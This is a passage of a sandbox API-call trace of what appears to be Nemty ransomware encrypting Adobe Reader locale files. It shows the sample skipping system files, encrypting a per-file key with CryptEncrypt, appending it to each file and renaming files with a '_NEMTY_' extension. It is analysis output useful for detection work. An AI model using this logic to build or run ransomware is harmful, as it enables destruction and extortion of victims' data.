dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CAT", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CAT", lpUsedDefaultChar=0x0) returned 8 [0173.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.555] Sleep (dwMilliseconds=0x5) [0173.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b1946f0, dwHighDateTime=0x1d561e8)) [0173.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b1946f0, dwHighDateTime=0x1d561e8)) [0173.563] GetLastError () returned 0x0 [0173.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.563] GetLastError () returned 0x0 [0173.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.564] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.564] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.564] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.564] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="u0qvFF1XP6dO/H/uP6FfIbWb+Xkz/9kWGKPMw0m1ixL5EnOZMVxeUhPKLyCe9/dw\r\nXjZfmJM2H9/EedX4rL7eF62T255XBq12+IwkE+3mXbTBlU1yibFKdWc0ZkEFXbzN\r\n2xEVfw0YBeGt7X4ZA3d/ZeZbzuaSr7wzF6DsFo9eYoYUmqstGhSidWSIhYZLeSg2\r\nxZdsToXg+ET/06m5Ijnq/0efK+ATbaAlvP2ekx+7yxaycmr7foGQLmRS6XL73wCe\r\ndqqWTLklt5T90uH7aE2Mp9o+uuvVG24BFExwvuBeWVwf5BR5bMeqwT6QLIwsNBE4\r\nxoynC5mPaL56gtRsCFEPsQ==\r\n", pcchString=0x653e5dc) returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.564] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0173.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0173.564] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.564] ReadFile (in: hFile=0x3b0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0173.566] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.566] WriteFile (in: hFile=0x3b0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0173.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.566] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0173.566] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.567] CloseHandle (hObject=0x3b0) returned 1 [0173.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.567] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat._nemty_kgobjgd_")) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.568] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.CAT", cAlternateFileName="MAKEAC~1.CAT")) returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2=".") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="..") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="...") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="windows") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="rsa") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="NTDETECT.COM") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="ntldr") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="MSDOS.SYS") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="IO.SYS") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="boot.ini") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="boot.ini") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="ntuser.dat") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="desktop.ini") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="CONFIG.SYS") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="RECYCLER") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="bootmgr") returned 1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="programdata") returned -1 [0173.568] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="appdata") returned 1 [0173.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0173.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CAT", lpUsedDefaultChar=0x0) returned 18 [0173.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0173.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0173.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CAT", lpUsedDefaultChar=0x0) returned 18 [0173.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0173.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0173.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CAT", lpUsedDefaultChar=0x0) returned 18 [0173.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0173.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CAT", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CAT", lpUsedDefaultChar=0x0) returned 18 [0173.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.569] Sleep (dwMilliseconds=0x5) [0173.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b1e09b0, dwHighDateTime=0x1d561e8)) [0173.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b1e09b0, dwHighDateTime=0x1d561e8)) [0173.597] GetLastError () returned 0x0 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.598] GetLastError () returned 0x0 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.598] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.598] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.598] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.598] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="kYKML8lI1pDLaJVJ10Q+mveh0yq3Ov8a5SlJoFUhk/NbqDm6Hra7asp60OarZH7A\r\ndyjlu50QxQbvfUYX/XqaP6nDKT6gG/n7VLCQTOp7VQQrOhjgYdpvhcl+c5zC/CL7\r\nJbYMLwkwQt3ET3SZ5JAdN/kjqUUDgksEtHx6+yCSu57+vINYcxmAoqlThcEhKRaO\r\nNzmazFcx9RZxwianK2j/gVRPuJfRa8tFJUGhBy8dPsoniYNxke+iqEJ9FNhXOqwy\r\n33OgTEwXJ+tYrl9QiHLW6fuS4R6zGdUPR6a78eNE7ipuIe0XEAEH/RPLiohNogit\r\nVQtV8H2KB7qbzLFIA0HaIw==\r\n", pcchString=0x653e5dc) returned 1 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.598] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=79360) returned 1 [0173.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13600) returned 0x6352c48 [0173.598] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.599] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13600, lpOverlapped=0x0) returned 1 [0173.605] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.605] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13600, lpOverlapped=0x0) returned 1 [0173.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.605] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=79360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13600 [0173.605] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.606] CloseHandle (hObject=0x3b0) returned 1 [0173.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0173.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.606] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat._nemty_kgobjgd_")) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.607] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.CAT", cAlternateFileName="MULTIM~1.CAT")) returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2=".") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="..") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="...") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="windows") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="rsa") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="NTDETECT.COM") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="ntldr") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="MSDOS.SYS") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="IO.SYS") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="boot.ini") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="boot.ini") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="ntuser.dat") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="desktop.ini") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="CONFIG.SYS") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="RECYCLER") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="bootmgr") returned 1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="programdata") returned -1 [0173.607] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="appdata") returned 1 [0173.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CAT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, 